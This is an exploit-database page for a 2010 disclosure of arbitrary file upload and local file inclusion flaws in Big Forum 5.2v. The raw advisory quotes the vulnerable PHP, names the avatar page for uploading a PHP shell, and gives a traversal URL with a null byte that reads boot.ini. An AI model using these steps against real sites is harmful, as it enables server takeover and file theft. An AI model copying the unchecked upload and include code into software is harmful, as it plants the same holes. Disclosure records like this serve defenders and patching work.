Big Forum 5.2v Arbitrary File Upload & Local File Inclusion Vulnerability

vendor:

Big Forum

by:

Zer0 Thunder

7,5

CVSS

HIGH

Arbitrary File Upload & Local File Inclusion

434, 98

CWE

Product Name: Big Forum

Affected Version From: 5.2v

Affected Version To: 5.2v

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

Big Forum 5.2v Arbitrary File Upload & Local File Inclusion Vulnerability

An arbitrary file upload vulnerability exists in Big Forum 5.2v, which allows an attacker to upload malicious files to the server. Additionally, a local file inclusion vulnerability exists, which allows an attacker to include malicious files from the server. Both vulnerabilities can be exploited by sending a specially crafted HTTP request to the vulnerable application.

Mitigation:

Ensure that user-supplied input is properly sanitized and validated. Ensure that the application is running with the least privileges necessary. Ensure that the application is running on a secure platform.

Source

Exploit-DB raw data:

=> Big Forum 5.2v Arbitrary File Upload & Local File Inclusion Vulnerability
=> Author	: Zer0 Thunder
=> Home		: http://colombohackers.com
=> Download	: http://sourceforge.net/projects/npage-bigforum/files/bigforum%205.2/bf5.2.zip/download
=> Date 	: 06/24/2010



Arbitrary File Upload
---------------------



Vuln C0de

=============================================================================================================

   if($_FILES['datei']['size'] <  102400)
      {
      move_uploaded_file($_FILES['datei']['tmp_name'], "images/avatar/".$_FILES['datei']['name']);
      echo "Danke, dein Avatar wurde hochgeladen, es wird nun angezeigt.";
	  $pfad = $_FILES['datei']['name'];
	  mysql_query("UPDATE users SET ava_link = 'images/avatar/$pfad' WHERE username LIKE '". USER ."'");
      }

you will have to register before doing this 

=============================================================================================================


Vuln Page link : http://localhost/bf/main.php?do=ava   
(Upload the shell.php or shell.jpg.php )





Local File Inclusion 
--------------------


=============================================================================================================
if($_GET["aktion"] == "install")
  {
    $path = "../includes/plugins/$_GET[datei]";
    include($path);
    plugin_install($kurzc, $_GET["datei"]);
    echo "Danke, der Mod wurde erfolgreich installiert.";
    exit;
  }


=============================================================================================================


http://localhost/bf/admin/admin.php?do=mods&aktion=install&datei=../../../../../boot.ini%00






--------------------------------------
Msn : zer0_thunder@colombohackers.com
--------------------------------------